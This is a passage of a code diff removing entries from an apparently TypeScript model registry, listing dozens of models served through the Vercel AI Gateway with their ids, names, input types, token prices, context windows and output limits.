maxTokens: 100000, - } satisfies Model<"anthropic-messages">, - "meta/llama-3.1-70b": { - id: "meta/llama-3.1-70b", - name: "Llama 3.1 70B Instruct", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.72, - output: 0.72, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "meta/llama-3.1-8b": { - id: "meta/llama-3.1-8b", - name: "Llama 3.1 8B Instruct", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.22, - output: 0.22, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "meta/llama-3.2-11b": { - id: "meta/llama-3.2-11b", - name: "Llama 3.2 11B Vision Instruct", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.16, - output: 0.16, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "meta/llama-3.2-90b": { - id: "meta/llama-3.2-90b", - name: "Llama 3.2 90B Vision Instruct", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.72, - output: 0.72, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "meta/llama-3.3-70b": { - id: "meta/llama-3.3-70b", - name: "Llama 3.3 70B Instruct", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.72, - output: 0.72, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "meta/llama-4-maverick": { - id: "meta/llama-4-maverick", - name: "Llama 4 Maverick 17B Instruct", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.24, - output: 0.9700000000000001, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "meta/llama-4-scout": { - id: "meta/llama-4-scout", - name: "Llama 4 Scout 17B Instruct", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.16999999999999998, - output: 0.66, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "minimax/minimax-m2": { - id: "minimax/minimax-m2", - name: "MiniMax M2", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.03, - cacheWrite: 0.375, - }, - contextWindow: 205000, - maxTokens: 205000, - } satisfies Model<"anthropic-messages">, - "minimax/minimax-m2.1": { - id: "minimax/minimax-m2.1", - name: "MiniMax M2.1", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.03, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "minimax/minimax-m2.1-lightning": { - id: "minimax/minimax-m2.1-lightning", - name: "MiniMax M2.1 Lightning", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 2.4, - cacheRead: 0.03, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "minimax/minimax-m2.5": { - id: "minimax/minimax-m2.5", - name: "MiniMax M2.5", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.03, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131000, - } satisfies Model<"anthropic-messages">, - "minimax/minimax-m2.5-highspeed": { - id: "minimax/minimax-m2.5-highspeed", - name: "MiniMax M2.5 High Speed", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.4, - cacheRead: 0.03, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131000, - } satisfies Model<"anthropic-messages">, - "minimax/minimax-m2.7": { - id: "minimax/minimax-m2.7", - name: "Minimax M2.7", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.06, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131000, - } satisfies Model<"anthropic-messages">, - "minimax/minimax-m2.7-highspeed": { - id: "minimax/minimax-m2.7-highspeed", - name: "MiniMax M2.7 High Speed", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.6, - output: 2.4, - cacheRead: 0.06, - cacheWrite: 0.375, - }, - contextWindow: 204800, - maxTokens: 131100, - } satisfies Model<"anthropic-messages">, - "mistral/codestral": { - id: "mistral/codestral", - name: "Mistral Codestral", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.3, - output: 0.8999999999999999, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4000, - } satisfies Model<"anthropic-messages">, - "mistral/devstral-2": { - id: "mistral/devstral-2", - name: "Devstral 2", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.39999999999999997, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"anthropic-messages">, - "mistral/devstral-small": { - id: "mistral/devstral-small", - name: "Devstral Small 1.1", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.09999999999999999, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "mistral/devstral-small-2": { - id: "mistral/devstral-small-2", - name: "Devstral Small 2", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.09999999999999999, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"anthropic-messages">, - "mistral/ministral-3b": { - id: "mistral/ministral-3b", - name: "Ministral 3B", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.09999999999999999, - output: 0.09999999999999999, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4000, - } satisfies Model<"anthropic-messages">, - "mistral/ministral-8b": { - id: "mistral/ministral-8b", - name: "Ministral 8B", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4000, - } satisfies Model<"anthropic-messages">, - "mistral/mistral-medium": { - id: "mistral/mistral-medium", - name: "Mistral Medium 3.1", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.39999999999999997, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "mistral/mistral-small": { - id: "mistral/mistral-small", - name: "Mistral Small", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32000, - maxTokens: 4000, - } satisfies Model<"anthropic-messages">, - "mistral/pixtral-12b": { - id: "mistral/pixtral-12b", - name: "Pixtral 12B 2409", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4000, - } satisfies Model<"anthropic-messages">, - "mistral/pixtral-large": { - id: "mistral/pixtral-large", - name: "Pixtral Large", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4000, - } satisfies Model<"anthropic-messages">, - "moonshotai/kimi-k2": { - id: "moonshotai/kimi-k2", - name: "Kimi K2 Instruct", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.5700000000000001, - output: 2.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "moonshotai/kimi-k2-0905": { - id: "moonshotai/kimi-k2-0905", - name: "Kimi K2 0905", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.6, - output: 2.5, - cacheRead: 0.3, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "moonshotai/kimi-k2-thinking": { - id: "moonshotai/kimi-k2-thinking", - name: "Kimi K2 Thinking", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.5, - cacheRead: 0.15, - cacheWrite: 0, - }, - contextWindow: 262114, - maxTokens: 262114, - } satisfies Model<"anthropic-messages">, - "moonshotai/kimi-k2-thinking-turbo": { - id: "moonshotai/kimi-k2-thinking-turbo", - name: "Kimi K2 Thinking Turbo", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 1.15, - output: 8, - cacheRead: 0.15, - cacheWrite: 0, - }, - contextWindow: 262114, - maxTokens: 262114, - } satisfies Model<"anthropic-messages">, - "moonshotai/kimi-k2-turbo": { - id: "moonshotai/kimi-k2-turbo", - name: "Kimi K2 Turbo", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 1.15, - output: 8, - cacheRead: 0.15, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "moonshotai/kimi-k2.5": { - id: "moonshotai/kimi-k2.5", - name: "Kimi K2.5", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.6, - output: 3, - cacheRead: 0.09999999999999999, - cacheWrite: 0, - }, - contextWindow: 262114, - maxTokens: 262114, - } satisfies Model<"anthropic-messages">, - "nvidia/nemotron-nano-12b-v2-vl": { - id: "nvidia/nemotron-nano-12b-v2-vl", - name: "Nvidia Nemotron Nano 12B V2 VL", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "nvidia/nemotron-nano-9b-v2": { - id: "nvidia/nemotron-nano-9b-v2", - name: "Nvidia Nemotron Nano 9B V2", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.06, - output: 0.22999999999999998, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "openai/gpt-4-turbo": { - id: "openai/gpt-4-turbo", - name: "GPT-4 Turbo", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 10, - output: 30, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"anthropic-messages">, - "openai/gpt-4.1": { - id: "openai/gpt-4.1", - name: "GPT-4.1", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"anthropic-messages">, - "openai/gpt-4.1-mini": { - id: "openai/gpt-4.1-mini", - name: "GPT-4.1 mini", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.39999999999999997, - output: 1.5999999999999999, - cacheRead: 0.09999999999999999, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"anthropic-messages">, - "openai/gpt-4.1-nano": { - id: "openai/gpt-4.1-nano", - name: "GPT-4.1 nano", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.39999999999999997, - cacheRead: 0.024999999999999998, - cacheWrite: 0, - }, - contextWindow: 1047576, - maxTokens: 32768, - } satisfies Model<"anthropic-messages">, - "openai/gpt-4o": { - id: "openai/gpt-4o", - name: "GPT-4o", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 10, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "openai/gpt-4o-mini": { - id: "openai/gpt-4o-mini", - name: "GPT-4o mini", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5": { - id: "openai/gpt-5", - name: "GPT-5", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5-chat": { - id: "openai/gpt-5-chat", - name: "GPT 5 Chat", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5-codex": { - id: "openai/gpt-5-codex", - name: "GPT-5-Codex", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5-mini": { - id: "openai/gpt-5-mini", - name: "GPT-5 mini", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0.024999999999999998, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5-nano": { - id: "openai/gpt-5-nano", - name: "GPT-5 nano", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.049999999999999996, - output: 0.39999999999999997, - cacheRead: 0.005, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5-pro": { - id: "openai/gpt-5-pro", - name: "GPT-5 pro", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 120, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 272000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.1-codex": { - id: "openai/gpt-5.1-codex", - name: "GPT-5.1-Codex", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.1-codex-max": { - id: "openai/gpt-5.1-codex-max", - name: "GPT 5.1 Codex Max", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.1-codex-mini": { - id: "openai/gpt-5.1-codex-mini", - name: "GPT 5.1 Codex Mini", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0.024999999999999998, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.1-instant": { - id: "openai/gpt-5.1-instant", - name: "GPT-5.1 Instant", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.1-thinking": { - id: "openai/gpt-5.1-thinking", - name: "GPT 5.1 Thinking", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.2": { - id: "openai/gpt-5.2", - name: "GPT 5.2", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.2-chat": { - id: "openai/gpt-5.2-chat", - name: "GPT 5.2 Chat", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.2-codex": { - id: "openai/gpt-5.2-codex", - name: "GPT 5.2 Codex", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.2-pro": { - id: "openai/gpt-5.2-pro", - name: "GPT 5.2 ", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 21, - output: 168, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.3-chat": { - id: "openai/gpt-5.3-chat", - name: "GPT-5.3 Chat", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.3-codex": { - id: "openai/gpt-5.3-codex", - name: "GPT 5.3 Codex", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.4": { - id: "openai/gpt-5.4", - name: "GPT 5.4", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2.5, - output: 15, - cacheRead: 0.25, - cacheWrite: 0, - }, - contextWindow: 1050000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.4-mini": { - id: "openai/gpt-5.4-mini", - name: "GPT 5.4 Mini", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.75, - output: 4.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.4-nano": { - id: "openai/gpt-5.4-nano", - name: "GPT 5.4 Nano", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 1.25, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-5.4-pro": { - id: "openai/gpt-5.4-pro", - name: "GPT 5.4 Pro", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 30, - output: 180, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1050000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "openai/gpt-oss-20b": { - id: "openai/gpt-oss-20b", - name: "GPT OSS 120B", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.049999999999999996, - output: 0.19999999999999998, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "openai/gpt-oss-safeguard-20b": { - id: "openai/gpt-oss-safeguard-20b", - name: "GPT OSS Safeguard 20B", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0.037, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 65536, - } satisfies Model<"anthropic-messages">, - "openai/o1": { - id: "openai/o1", - name: "o1", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 60, - cacheRead: 7.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"anthropic-messages">, - "openai/o3": { - id: "openai/o3", - name: "o3", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"anthropic-messages">, - "openai/o3-deep-research": { - id: "openai/o3-deep-research", - name: "o3-deep-research", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 10, - output: 40, - cacheRead: 2.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"anthropic-messages">, - "openai/o3-mini": { - id: "openai/o3-mini", - name: "o3-mini", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 1.1, - output: 4.4, - cacheRead: 0.55, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"anthropic-messages">, - "openai/o3-pro": { - id: "openai/o3-pro", - name: "o3 Pro", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 20, - output: 80, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"anthropic-messages">, - "openai/o4-mini": { - id: "openai/o4-mini", - name: "o4-mini", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.1, - output: 4.4, - cacheRead: 0.275, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"anthropic-messages">, - "perplexity/sonar": { - id: "perplexity/sonar", - name: "Sonar", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 127000, - maxTokens: 8000, - } satisfies Model<"anthropic-messages">, - "perplexity/sonar-pro": { - id: "perplexity/sonar-pro", - name: "Sonar Pro", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 8000, - } satisfies Model<"anthropic-messages">, - "prime-intellect/intellect-3": { - id: "prime-intellect/intellect-3", - name: "INTELLECT 3", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.19999999999999998, - output: 1.1, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "xai/grok-3": { - id: "xai/grok-3", - name: "Grok 3 Beta", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 3, - output: 15, - cacheRead: 0.75, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "xai/grok-3-fast": { - id: "xai/grok-3-fast", - name: "Grok 3 Fast Beta", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 5, - output: 25, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "xai/grok-3-mini": { - id: "xai/grok-3-mini", - name: "Grok 3 Mini Beta", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.3, - output: 0.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 